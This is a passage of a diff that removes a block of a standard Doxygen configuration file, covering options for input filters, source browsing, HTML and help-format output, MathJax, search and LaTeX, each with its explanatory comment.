-# (namespaces, classes, functions, etc.) that should be excluded from the
-# output. The symbol name can be a fully qualified name, a word, or if the
-# wildcard * is used, a substring. Examples: ANamespace, AClass,
-# AClass::ANamespace, ANamespace::*Test
-#
-# Note that the wildcards are matched against the file with absolute path, so to
-# exclude all test directories use the pattern */test/*
-
-EXCLUDE_SYMBOLS        =
-
-# The EXAMPLE_PATH tag can be used to specify one or more files or directories
-# that contain example code fragments that are included (see the \include
-# command).
-
-EXAMPLE_PATH           =
-
-# If the value of the EXAMPLE_PATH tag contains directories, you can use the
-# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp and
-# *.h) to filter out the source-files in the directories. If left blank all
-# files are included.
-
-EXAMPLE_PATTERNS       = *
-
-# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be
-# searched for input files to be used with the \include or \dontinclude commands
-# irrespective of the value of the RECURSIVE tag.
-# The default value is: NO.
-
-EXAMPLE_RECURSIVE      = NO
-
-# The IMAGE_PATH tag can be used to specify one or more files or directories
-# that contain images that are to be included in the documentation (see the
-# \image command).
-
-IMAGE_PATH             =
-
-# The INPUT_FILTER tag can be used to specify a program that doxygen should
-# invoke to filter for each input file. Doxygen will invoke the filter program
-# by executing (via popen()) the command:
-#
-# <filter> <input-file>
-#
-# where <filter> is the value of the INPUT_FILTER tag, and <input-file> is the
-# name of an input file. Doxygen will then use the output that the filter
-# program writes to standard output. If FILTER_PATTERNS is specified, this tag
-# will be ignored.
-#
-# Note that the filter must not add or remove lines; it is applied before the
-# code is scanned, but not when the output code is generated. If lines are added
-# or removed, the anchors will not be placed correctly.
-#
-# Note that for custom extensions or not directly supported extensions you also
-# need to set EXTENSION_MAPPING for the extension otherwise the files are not
-# properly processed by doxygen.
-
-INPUT_FILTER           =
-
-# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern
-# basis. Doxygen will compare the file name with each pattern and apply the
-# filter if there is a match. The filters are a list of the form: pattern=filter
-# (like *.cpp=my_cpp_filter). See INPUT_FILTER for further information on how
-# filters are used. If the FILTER_PATTERNS tag is empty or if none of the
-# patterns match the file name, INPUT_FILTER is applied.
-#
-# Note that for custom extensions or not directly supported extensions you also
-# need to set EXTENSION_MAPPING for the extension otherwise the files are not
-# properly processed by doxygen.
-
-FILTER_PATTERNS        =
-
-# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using
-# INPUT_FILTER) will also be used to filter the input files that are used for
-# producing the source files to browse (i.e. when SOURCE_BROWSER is set to YES).
-# The default value is: NO.
-
-FILTER_SOURCE_FILES    = NO
-
-# The FILTER_SOURCE_PATTERNS tag can be used to specify source filters per file
-# pattern. A pattern will override the setting for FILTER_PATTERN (if any) and
-# it is also possible to disable source filtering for a specific pattern using
-# *.ext= (so without naming a filter).
-# This tag requires that the tag FILTER_SOURCE_FILES is set to YES.
-
-FILTER_SOURCE_PATTERNS =
-
-# If the USE_MDFILE_AS_MAINPAGE tag refers to the name of a markdown file that
-# is part of the input, its contents will be placed on the main page
-# (index.html). This can be useful if you have a project on for instance GitHub
-# and want to reuse the introduction page also for the doxygen output.
-
-USE_MDFILE_AS_MAINPAGE =
-
-#---------------------------------------------------------------------------
-# Configuration options related to source browsing
-#---------------------------------------------------------------------------
-
-# If the SOURCE_BROWSER tag is set to YES then a list of source files will be
-# generated. Documented entities will be cross-referenced with these sources.
-#
-# Note: To get rid of all source code in the generated output, make sure that
-# also VERBATIM_HEADERS is set to NO.
-# The default value is: NO.
-
-SOURCE_BROWSER         = NO
-
-# Setting the INLINE_SOURCES tag to YES will include the body of functions,
-# classes and enums directly into the documentation.
-# The default value is: NO.
-
-INLINE_SOURCES         = NO
-
-# Setting the STRIP_CODE_COMMENTS tag to YES will instruct doxygen to hide any
-# special comment blocks from generated source code fragments. Normal C, C++ and
-# Fortran comments will always remain visible.
-# The default value is: YES.
-
-STRIP_CODE_COMMENTS    = YES
-
-# If the REFERENCED_BY_RELATION tag is set to YES then for each documented
-# entity all documented functions referencing it will be listed.
-# The default value is: NO.
-
-REFERENCED_BY_RELATION = NO
-
-# If the REFERENCES_RELATION tag is set to YES then for each documented function
-# all documented entities called/used by that function will be listed.
-# The default value is: NO.
-
-REFERENCES_RELATION    = NO
-
-# If the REFERENCES_LINK_SOURCE tag is set to YES and SOURCE_BROWSER tag is set
-# to YES then the hyperlinks from functions in REFERENCES_RELATION and
-# REFERENCED_BY_RELATION lists will link to the source code. Otherwise they will
-# link to the documentation.
-# The default value is: YES.
-
-REFERENCES_LINK_SOURCE = YES
-
-# If SOURCE_TOOLTIPS is enabled (the default) then hovering a hyperlink in the
-# source code will show a tooltip with additional information such as prototype,
-# brief description and links to the definition and documentation. Since this
-# will make the HTML file larger and loading of large files a bit slower, you
-# can opt to disable this feature.
-# The default value is: YES.
-# This tag requires that the tag SOURCE_BROWSER is set to YES.
-
-SOURCE_TOOLTIPS        = YES
-
-# If the USE_HTAGS tag is set to YES then the references to source code will
-# point to the HTML generated by the htags(1) tool instead of doxygen built-in
-# source browser. The htags tool is part of GNU's global source tagging system
-# (see https://www.gnu.org/software/global/global.html). You will need version
-# 4.8.6 or higher.
-#
-# To use it do the following:
-# - Install the latest version of global
-# - Enable SOURCE_BROWSER and USE_HTAGS in the configuration file
-# - Make sure the INPUT points to the root of the source tree
-# - Run doxygen as normal
-#
-# Doxygen will invoke htags (and that will in turn invoke gtags), so these
-# tools must be available from the command line (i.e. in the search path).
-#
-# The result: instead of the source browser generated by doxygen, the links to
-# source code will now point to the output of htags.
-# The default value is: NO.
-# This tag requires that the tag SOURCE_BROWSER is set to YES.
-
-USE_HTAGS              = NO
-
-# If the VERBATIM_HEADERS tag is set the YES then doxygen will generate a
-# verbatim copy of the header file for each class for which an include is
-# specified. Set to NO to disable this.
-# See also: Section \class.
-# The default value is: YES.
-
-VERBATIM_HEADERS       = YES
-
-# If the CLANG_ASSISTED_PARSING tag is set to YES then doxygen will use the
-# clang parser (see: http://clang.llvm.org/) for more accurate parsing at the
-# cost of reduced performance. This can be particularly helpful with template
-# rich C++ code for which doxygen's built-in parser lacks the necessary type
-# information.
-# Note: The availability of this option depends on whether or not doxygen was
-# generated with the -Duse_libclang=ON option for CMake.
-# The default value is: NO.
-
-CLANG_ASSISTED_PARSING = NO
-
-# If clang assisted parsing is enabled you can provide the compiler with command
-# line options that you would normally use when invoking the compiler. Note that
-# the include paths will already be set by doxygen for the files and directories
-# specified with INPUT and INCLUDE_PATH.
-# This tag requires that the tag CLANG_ASSISTED_PARSING is set to YES.
-
-CLANG_OPTIONS          =
-
-#---------------------------------------------------------------------------
-# Configuration options related to the alphabetical class index
-#---------------------------------------------------------------------------
-
-# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index of all
-# compounds will be generated. Enable this if the project contains a lot of
-# classes, structs, unions or interfaces.
-# The default value is: YES.
-
-ALPHABETICAL_INDEX     = NO
-
-# The COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns in
-# which the alphabetical index list will be split.
-# Minimum value: 1, maximum value: 20, default value: 5.
-# This tag requires that the tag ALPHABETICAL_INDEX is set to YES.
-
-COLS_IN_ALPHA_INDEX    = 5
-
-# In case all classes in a project start with a common prefix, all classes will
-# be put under the same header in the alphabetical index. The IGNORE_PREFIX tag
-# can be used to specify a prefix (or a list of prefixes) that should be ignored
-# while generating the index headers.
-# This tag requires that the tag ALPHABETICAL_INDEX is set to YES.
-
-IGNORE_PREFIX          =
-
-#---------------------------------------------------------------------------
-# Configuration options related to the HTML output
-#---------------------------------------------------------------------------
-
-# If the GENERATE_HTML tag is set to YES, doxygen will generate HTML output
-# The default value is: YES.
-
-GENERATE_HTML          = NO
-
-# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. If a
-# relative path is entered the value of OUTPUT_DIRECTORY will be put in front of
-# it.
-# The default directory is: html.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-HTML_OUTPUT            = html
-
-# The HTML_FILE_EXTENSION tag can be used to specify the file extension for each
-# generated HTML page (for example: .htm, .php, .asp).
-# The default value is: .html.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-HTML_FILE_EXTENSION    = .html
-
-# The HTML_HEADER tag can be used to specify a user-defined HTML header file for
-# each generated HTML page. If the tag is left blank doxygen will generate a
-# standard header.
-#
-# To get valid HTML the header file that includes any scripts and style sheets
-# that doxygen needs, which is dependent on the configuration options used (e.g.
-# the setting GENERATE_TREEVIEW). It is highly recommended to start with a
-# default header using
-# doxygen -w html new_header.html new_footer.html new_stylesheet.css
-# YourConfigFile
-# and then modify the file new_header.html. See also section "Doxygen usage"
-# for information on how to generate the default header that doxygen normally
-# uses.
-# Note: The header is subject to change so you typically have to regenerate the
-# default header when upgrading to a newer version of doxygen. For a description
-# of the possible markers and block names see the documentation.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-HTML_HEADER            =
-
-# The HTML_FOOTER tag can be used to specify a user-defined HTML footer for each
-# generated HTML page. If the tag is left blank doxygen will generate a standard
-# footer. See HTML_HEADER for more information on how to generate a default
-# footer and what special commands can be used inside the footer. See also
-# section "Doxygen usage" for information on how to generate the default footer
-# that doxygen normally uses.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-HTML_FOOTER            =
-
-# The HTML_STYLESHEET tag can be used to specify a user-defined cascading style
-# sheet that is used by each HTML page. It can be used to fine-tune the look of
-# the HTML output. If left blank doxygen will generate a default style sheet.
-# See also section "Doxygen usage" for information on how to generate the style
-# sheet that doxygen normally uses.
-# Note: It is recommended to use HTML_EXTRA_STYLESHEET instead of this tag, as
-# it is more robust and this tag (HTML_STYLESHEET) will in the future become
-# obsolete.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-HTML_STYLESHEET        =
-
-# The HTML_EXTRA_STYLESHEET tag can be used to specify additional user-defined
-# cascading style sheets that are included after the standard style sheets
-# created by doxygen. Using this option one can overrule certain style aspects.
-# This is preferred over using HTML_STYLESHEET since it does not replace the
-# standard style sheet and is therefore more robust against future updates.
-# Doxygen will copy the style sheet files to the output directory.
-# Note: The order of the extra style sheet files is of importance (e.g. the last
-# style sheet in the list overrules the setting of the previous ones in the
-# list). For an example see the documentation.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-HTML_EXTRA_STYLESHEET  =
-
-# The HTML_EXTRA_FILES tag can be used to specify one or more extra images or
-# other source files which should be copied to the HTML output directory. Note
-# that these files will be copied to the base HTML output directory. Use the
-# $relpath^ marker in the HTML_HEADER and/or HTML_FOOTER files to load these
-# files. In the HTML_STYLESHEET file, use the file name only. Also note that the
-# files will be copied as-is; there are no commands or markers available.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-HTML_EXTRA_FILES       =
-
-# The HTML_COLORSTYLE_HUE tag controls the color of the HTML output. Doxygen
-# will adjust the colors in the style sheet and background images according to
-# this color. Hue is specified as an angle on a colorwheel, see
-# https://en.wikipedia.org/wiki/Hue for more information. For instance the value
-# 0 represents red, 60 is yellow, 120 is green, 180 is cyan, 240 is blue, 300
-# purple, and 360 is red again.
-# Minimum value: 0, maximum value: 359, default value: 220.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-HTML_COLORSTYLE_HUE    = 220
-
-# The HTML_COLORSTYLE_SAT tag controls the purity (or saturation) of the colors
-# in the HTML output. For a value of 0 the output will use grayscales only. A
-# value of 255 will produce the most vivid colors.
-# Minimum value: 0, maximum value: 255, default value: 100.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-HTML_COLORSTYLE_SAT    = 100
-
-# The HTML_COLORSTYLE_GAMMA tag controls the gamma correction applied to the
-# luminance component of the colors in the HTML output. Values below 100
-# gradually make the output lighter, whereas values above 100 make the output
-# darker. The value divided by 100 is the actual gamma applied, so 80 represents
-# a gamma of 0.8, The value 220 represents a gamma of 2.2, and 100 does not
-# change the gamma.
-# Minimum value: 40, maximum value: 240, default value: 80.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-HTML_COLORSTYLE_GAMMA  = 80
-
-# If the HTML_TIMESTAMP tag is set to YES then the footer of each generated HTML
-# page will contain the date and time when the page was generated. Setting this
-# to YES can help to show when doxygen was last run and thus if the
-# documentation is up to date.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-HTML_TIMESTAMP         = NO
-
-# If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML
-# documentation will contain sections that can be hidden and shown after the
-# page has loaded.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-HTML_DYNAMIC_SECTIONS  = NO
-
-# With HTML_INDEX_NUM_ENTRIES one can control the preferred number of entries
-# shown in the various tree structured indices initially; the user can expand
-# and collapse entries dynamically later on. Doxygen will expand the tree to
-# such a level that at most the specified number of entries are visible (unless
-# a fully collapsed tree already exceeds this amount). So setting the number of
-# entries 1 will produce a full collapsed tree by default. 0 is a special value
-# representing an infinite number of entries and will result in a full expanded
-# tree by default.
-# Minimum value: 0, maximum value: 9999, default value: 100.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-HTML_INDEX_NUM_ENTRIES = 100
-
-# If the GENERATE_DOCSET tag is set to YES, additional index files will be
-# generated that can be used as input for Apple's Xcode 3 integrated development
-# environment (see: https://developer.apple.com/xcode/), introduced with OSX
-# 10.5 (Leopard). To create a documentation set, doxygen will generate a
-# Makefile in the HTML output directory. Running make will produce the docset in
-# that directory and running make install will install the docset in
-# ~/Library/Developer/Shared/Documentation/DocSets so that Xcode will find it at
-# startup. See https://developer.apple.com/library/archive/featuredarticles/Doxy
-# genXcode/_index.html for more information.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-GENERATE_DOCSET        = NO
-
-# This tag determines the name of the docset feed. A documentation feed provides
-# an umbrella under which multiple documentation sets from a single provider
-# (such as a company or product suite) can be grouped.
-# The default value is: Doxygen generated docs.
-# This tag requires that the tag GENERATE_DOCSET is set to YES.
-
-DOCSET_FEEDNAME        = "Doxygen generated docs"
-
-# This tag specifies a string that should uniquely identify the documentation
-# set bundle. This should be a reverse domain-name style string, e.g.
-# com.mycompany.MyDocSet. Doxygen will append .docset to the name.
-# The default value is: org.doxygen.Project.
-# This tag requires that the tag GENERATE_DOCSET is set to YES.
-
-DOCSET_BUNDLE_ID       = org.doxygen.Project
-
-# The DOCSET_PUBLISHER_ID tag specifies a string that should uniquely identify
-# the documentation publisher. This should be a reverse domain-name style
-# string, e.g. com.mycompany.MyDocSet.documentation.
-# The default value is: org.doxygen.Publisher.
-# This tag requires that the tag GENERATE_DOCSET is set to YES.
-
-DOCSET_PUBLISHER_ID    = org.doxygen.Publisher
-
-# The DOCSET_PUBLISHER_NAME tag identifies the documentation publisher.
-# The default value is: Publisher.
-# This tag requires that the tag GENERATE_DOCSET is set to YES.
-
-DOCSET_PUBLISHER_NAME  = Publisher
-
-# If the GENERATE_HTMLHELP tag is set to YES then doxygen generates three
-# additional HTML index files: index.hhp, index.hhc, and index.hhk. The
-# index.hhp is a project file that can be read by Microsoft's HTML Help Workshop
-# (see: https://www.microsoft.com/en-us/download/details.aspx?id=21138) on
-# Windows.
-#
-# The HTML Help Workshop contains a compiler that can convert all HTML output
-# generated by doxygen into a single compiled HTML file (.chm). Compiled HTML
-# files are now used as the Windows 98 help format, and will replace the old
-# Windows help format (.hlp) on all Windows platforms in the future. Compressed
-# HTML files also contain an index, a table of contents, and you can search for
-# words in the documentation. The HTML workshop also contains a viewer for
-# compressed HTML files.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-GENERATE_HTMLHELP      = NO
-
-# The CHM_FILE tag can be used to specify the file name of the resulting .chm
-# file. You can add a path in front of the file if the result should not be
-# written to the html output directory.
-# This tag requires that the tag GENERATE_HTMLHELP is set to YES.
-
-CHM_FILE               =
-
-# The HHC_LOCATION tag can be used to specify the location (absolute path
-# including file name) of the HTML help compiler (hhc.exe). If non-empty,
-# doxygen will try to run the HTML help compiler on the generated index.hhp.
-# The file has to be specified with full path.
-# This tag requires that the tag GENERATE_HTMLHELP is set to YES.
-
-HHC_LOCATION           =
-
-# The GENERATE_CHI flag controls if a separate .chi index file is generated
-# (YES) or that it should be included in the master .chm file (NO).
-# The default value is: NO.
-# This tag requires that the tag GENERATE_HTMLHELP is set to YES.
-
-GENERATE_CHI           = NO
-
-# The CHM_INDEX_ENCODING is used to encode HtmlHelp index (hhk), content (hhc)
-# and project file content.
-# This tag requires that the tag GENERATE_HTMLHELP is set to YES.
-
-CHM_INDEX_ENCODING     =
-
-# The BINARY_TOC flag controls whether a binary table of contents is generated
-# (YES) or a normal table of contents (NO) in the .chm file. Furthermore it
-# enables the Previous and Next buttons.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_HTMLHELP is set to YES.
-
-BINARY_TOC             = NO
-
-# The TOC_EXPAND flag can be set to YES to add extra items for group members to
-# the table of contents of the HTML help documentation and to the tree view.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_HTMLHELP is set to YES.
-
-TOC_EXPAND             = NO
-
-# If the GENERATE_QHP tag is set to YES and both QHP_NAMESPACE and
-# QHP_VIRTUAL_FOLDER are set, an additional index file will be generated that
-# can be used as input for Qt's qhelpgenerator to generate a Qt Compressed Help
-# (.qch) of the generated HTML documentation.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-GENERATE_QHP           = NO
-
-# If the QHG_LOCATION tag is specified, the QCH_FILE tag can be used to specify
-# the file name of the resulting .qch file. The path specified is relative to
-# the HTML output folder.
-# This tag requires that the tag GENERATE_QHP is set to YES.
-
-QCH_FILE               =
-
-# The QHP_NAMESPACE tag specifies the namespace to use when generating Qt Help
-# Project output. For more information please see Qt Help Project / Namespace
-# (see: https://doc.qt.io/archives/qt-4.8/qthelpproject.html#namespace).
-# The default value is: org.doxygen.Project.
-# This tag requires that the tag GENERATE_QHP is set to YES.
-
-QHP_NAMESPACE          = org.doxygen.Project
-
-# The QHP_VIRTUAL_FOLDER tag specifies the namespace to use when generating Qt
-# Help Project output. For more information please see Qt Help Project / Virtual
-# Folders (see: https://doc.qt.io/archives/qt-4.8/qthelpproject.html#virtual-
-# folders).
-# The default value is: doc.
-# This tag requires that the tag GENERATE_QHP is set to YES.
-
-QHP_VIRTUAL_FOLDER     = doc
-
-# If the QHP_CUST_FILTER_NAME tag is set, it specifies the name of a custom
-# filter to add. For more information please see Qt Help Project / Custom
-# Filters (see: https://doc.qt.io/archives/qt-4.8/qthelpproject.html#custom-
-# filters).
-# This tag requires that the tag GENERATE_QHP is set to YES.
-
-QHP_CUST_FILTER_NAME   =
-
-# The QHP_CUST_FILTER_ATTRS tag specifies the list of the attributes of the
-# custom filter to add. For more information please see Qt Help Project / Custom
-# Filters (see: https://doc.qt.io/archives/qt-4.8/qthelpproject.html#custom-
-# filters).
-# This tag requires that the tag GENERATE_QHP is set to YES.
-
-QHP_CUST_FILTER_ATTRS  =
-
-# The QHP_SECT_FILTER_ATTRS tag specifies the list of the attributes this
-# project's filter section matches. Qt Help Project / Filter Attributes (see:
-# https://doc.qt.io/archives/qt-4.8/qthelpproject.html#filter-attributes).
-# This tag requires that the tag GENERATE_QHP is set to YES.
-
-QHP_SECT_FILTER_ATTRS  =
-
-# The QHG_LOCATION tag can be used to specify the location of Qt's
-# qhelpgenerator. If non-empty doxygen will try to run qhelpgenerator on the
-# generated .qhp file.
-# This tag requires that the tag GENERATE_QHP is set to YES.
-
-QHG_LOCATION           =
-
-# If the GENERATE_ECLIPSEHELP tag is set to YES, additional index files will be
-# generated, together with the HTML files, they form an Eclipse help plugin. To
-# install this plugin and make it available under the help contents menu in
-# Eclipse, the contents of the directory containing the HTML and XML files needs
-# to be copied into the plugins directory of eclipse. The name of the directory
-# within the plugins directory should be the same as the ECLIPSE_DOC_ID value.
-# After copying Eclipse needs to be restarted before the help appears.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-GENERATE_ECLIPSEHELP   = NO
-
-# A unique identifier for the Eclipse help plugin. When installing the plugin
-# the directory name containing the HTML and XML files should also have this
-# name. Each documentation set should have its own identifier.
-# The default value is: org.doxygen.Project.
-# This tag requires that the tag GENERATE_ECLIPSEHELP is set to YES.
-
-ECLIPSE_DOC_ID         = org.doxygen.Project
-
-# If you want full control over the layout of the generated HTML pages it might
-# be necessary to disable the index and replace it with your own. The
-# DISABLE_INDEX tag can be used to turn on/off the condensed index (tabs) at top
-# of each HTML page. A value of NO enables the index and the value YES disables
-# it. Since the tabs in the index contain the same information as the navigation
-# tree, you can set this option to YES if you also set GENERATE_TREEVIEW to YES.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-DISABLE_INDEX          = YES
-
-# The GENERATE_TREEVIEW tag is used to specify whether a tree-like index
-# structure should be generated to display hierarchical information. If the tag
-# value is set to YES, a side panel will be generated containing a tree-like
-# index structure (just like the one that is generated for HTML Help). For this
-# to work a browser that supports JavaScript, DHTML, CSS and frames is required
-# (i.e. any modern browser). Windows users are probably better off using the
-# HTML help feature. Via custom style sheets (see HTML_EXTRA_STYLESHEET) one can
-# further fine-tune the look of the index. As an example, the default style
-# sheet generated by doxygen has an example that shows how to put an image at
-# the root of the tree instead of the PROJECT_NAME. Since the tree basically has
-# the same information as the tab index, you could consider setting
-# DISABLE_INDEX to YES when enabling this option.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-GENERATE_TREEVIEW      = NO
-
-# The ENUM_VALUES_PER_LINE tag can be used to set the number of enum values that
-# doxygen will group on one line in the generated HTML documentation.
-#
-# Note that a value of 0 will completely suppress the enum values from appearing
-# in the overview section.
-# Minimum value: 0, maximum value: 20, default value: 4.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-ENUM_VALUES_PER_LINE   = 4
-
-# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be used
-# to set the initial width (in pixels) of the frame in which the tree is shown.
-# Minimum value: 0, maximum value: 1500, default value: 250.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-TREEVIEW_WIDTH         = 250
-
-# If the EXT_LINKS_IN_WINDOW option is set to YES, doxygen will open links to
-# external symbols imported via tag files in a separate window.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-EXT_LINKS_IN_WINDOW    = NO
-
-# Use this tag to change the font size of LaTeX formulas included as images in
-# the HTML documentation. When you change the font size after a successful
-# doxygen run you need to manually remove any form_*.png images from the HTML
-# output directory to force them to be regenerated.
-# Minimum value: 8, maximum value: 50, default value: 10.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-FORMULA_FONTSIZE       = 10
-
-# Use the FORMULA_TRANSPARENT tag to determine whether or not the images
-# generated for formulas are transparent PNGs. Transparent PNGs are not
-# supported properly for IE 6.0, but are supported on all modern browsers.
-#
-# Note that when changing this option you need to delete any form_*.png files in
-# the HTML output directory before the changes have effect.
-# The default value is: YES.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-FORMULA_TRANSPARENT    = YES
-
-# Enable the USE_MATHJAX option to render LaTeX formulas using MathJax (see
-# https://www.mathjax.org) which uses client side Javascript for the rendering
-# instead of using pre-rendered bitmaps. Use this if you do not have LaTeX
-# installed or if you want to formulas look prettier in the HTML output. When
-# enabled you may also need to install MathJax separately and configure the path
-# to it using the MATHJAX_RELPATH option.
-# The default value is: NO.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-USE_MATHJAX            = NO
-
-# When MathJax is enabled you can set the default output format to be used for
-# the MathJax output. See the MathJax site (see:
-# http://docs.mathjax.org/en/latest/output.html) for more details.
-# Possible values are: HTML-CSS (which is slower, but has the best
-# compatibility), NativeMML (i.e. MathML) and SVG.
-# The default value is: HTML-CSS.
-# This tag requires that the tag USE_MATHJAX is set to YES.
-
-MATHJAX_FORMAT         = HTML-CSS
-
-# When MathJax is enabled you need to specify the location relative to the HTML
-# output directory using the MATHJAX_RELPATH option. The destination directory
-# should contain the MathJax.js script. For instance, if the mathjax directory
-# is located at the same level as the HTML output directory, then
-# MATHJAX_RELPATH should be ../mathjax. The default value points to the MathJax
-# Content Delivery Network so you can quickly see the result without installing
-# MathJax. However, it is strongly recommended to install a local copy of
-# MathJax from https://www.mathjax.org before deployment.
-# The default value is: https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/.
-# This tag requires that the tag USE_MATHJAX is set to YES.
-
-MATHJAX_RELPATH        = https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/
-
-# The MATHJAX_EXTENSIONS tag can be used to specify one or more MathJax
-# extension names that should be enabled during MathJax rendering. For example
-# MATHJAX_EXTENSIONS = TeX/AMSmath TeX/AMSsymbols
-# This tag requires that the tag USE_MATHJAX is set to YES.
-
-MATHJAX_EXTENSIONS     =
-
-# The MATHJAX_CODEFILE tag can be used to specify a file with javascript pieces
-# of code that will be used on startup of the MathJax code. See the MathJax site
-# (see: http://docs.mathjax.org/en/latest/output.html) for more details. For an
-# example see the documentation.
-# This tag requires that the tag USE_MATHJAX is set to YES.
-
-MATHJAX_CODEFILE       =
-
-# When the SEARCHENGINE tag is enabled doxygen will generate a search box for
-# the HTML output. The underlying search engine uses javascript and DHTML and
-# should work on any modern browser. Note that when using HTML help
-# (GENERATE_HTMLHELP), Qt help (GENERATE_QHP), or docsets (GENERATE_DOCSET)
-# there is already a search function so this one should typically be disabled.
-# For large projects the javascript based search engine can be slow, then
-# enabling SERVER_BASED_SEARCH may provide a better solution. It is possible to
-# search using the keyboard; to jump to the search box use <access key> + S
-# (what the <access key> is depends on the OS and browser, but it is typically
-# <CTRL>, <ALT>/<option>, or both). Inside the search box use the <cursor down
-# key> to jump into the search results window, the results can be navigated
-# using the <cursor keys>. Press <Enter> to select an item or <escape> to cancel
-# the search. The filter options can be selected when the cursor is inside the
-# search box by pressing <Shift>+<cursor down>. Also here use the <cursor keys>
-# to select a filter and <Enter> or <escape> to activate or cancel the filter
-# option.
-# The default value is: YES.
-# This tag requires that the tag GENERATE_HTML is set to YES.
-
-SEARCHENGINE           = YES
-
-# When the SERVER_BASED_SEARCH tag is enabled the search engine will be
-# implemented using a web server instead of a web client using Javascript. There
-# are two flavors of web server based searching depending on the EXTERNAL_SEARCH
-# setting. When disabled, doxygen will generate a PHP script for searching and
-# an index file used by the script. When EXTERNAL_SEARCH is enabled the indexing
-# and searching needs to be provided by external tools. See the section
-# "External Indexing and Searching" for details.
-# The default value is: NO.
-# This tag requires that the tag SEARCHENGINE is set to YES.
-
-SERVER_BASED_SEARCH    = NO
-
-# When EXTERNAL_SEARCH tag is enabled doxygen will no longer generate the PHP
-# script for searching. Instead the search results are written to an XML file
-# which needs to be processed by an external indexer. Doxygen will invoke an
-# external search engine pointed to by the SEARCHENGINE_URL option to obtain the
-# search results.
-#
-# Doxygen ships with an example indexer (doxyindexer) and search engine
-# (doxysearch.cgi) which are based on the open source search engine library
-# Xapian (see: https://xapian.org/).
-#
-# See the section "External Indexing and Searching" for details.
-# The default value is: NO.
-# This tag requires that the tag SEARCHENGINE is set to YES.
-
-EXTERNAL_SEARCH        = NO
-
-# The SEARCHENGINE_URL should point to a search engine hosted by a web server
-# which will return the search results when EXTERNAL_SEARCH is enabled.
-#
-# Doxygen ships with an example indexer (doxyindexer) and search engine
-# (doxysearch.cgi) which are based on the open source search engine library
-# Xapian (see: https://xapian.org/). See the section "External Indexing and
-# Searching" for details.
-# This tag requires that the tag SEARCHENGINE is set to YES.
-
-SEARCHENGINE_URL       =
-
-# When SERVER_BASED_SEARCH and EXTERNAL_SEARCH are both enabled the unindexed
-# search data is written to a file for indexing by an external tool. With the
-# SEARCHDATA_FILE tag the name of this file can be specified.
-# The default file is: searchdata.xml.
-# This tag requires that the tag SEARCHENGINE is set to YES.
-
-SEARCHDATA_FILE        = searchdata.xml
-
-# When SERVER_BASED_SEARCH and EXTERNAL_SEARCH are both enabled the
-# EXTERNAL_SEARCH_ID tag can be used as an identifier for the project. This is
-# useful in combination with EXTRA_SEARCH_MAPPINGS to search through multiple
-# projects and redirect the results back to the right project.
-# This tag requires that the tag SEARCHENGINE is set to YES.
-
-EXTERNAL_SEARCH_ID     =
-
-# The EXTRA_SEARCH_MAPPINGS tag can be used to enable searching through doxygen
-# projects other than the one defined by this configuration file, but that are
-# all added to the same external search index. Each project needs to have a
-# unique id set via EXTERNAL_SEARCH_ID. The search mapping then maps the id of
-# to a relative location where the documentation can be found. The format is:
-# EXTRA_SEARCH_MAPPINGS = tagname1=loc1 tagname2=loc2 ...
-# This tag requires that the tag SEARCHENGINE is set to YES.
-
-EXTRA_SEARCH_MAPPINGS  =
-
-#---------------------------------------------------------------------------
-# Configuration options related to the LaTeX output
-#---------------------------------------------------------------------------
-
-# If the GENERATE_LATEX tag is set to YES, doxygen will generate LaTeX output.
-# The default value is: YES.
-
-GENERATE_LATEX         = NO
-
-# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. If a
-# relative path is entered the value of OUTPUT_DIRECTORY will be put in front of
-# it.
-# The default directory is: latex.
-# This tag requires that the tag GENERATE_LATEX is set to YES.
-
-LATEX_OUTPUT           = latex
-
-# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be
-# invoked.
-#
-# Note that when not enabling USE_PDFLATEX the default is latex when enabling
-# USE_PDFLATEX the default is pdflatex and when in the later case latex is
-# chosen this is overwritten by pdflatex. For specific output languages the
-# default can have been set differently, this depends on the implementation of
-# the output language.
-# This tag requires that the tag GENERATE_LATEX is set to YES.
-
-LATEX_CMD_NAME         =
-
-# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to generate
-# index for LaTeX.
-# Note: This tag is used in the Makefile / make.bat.
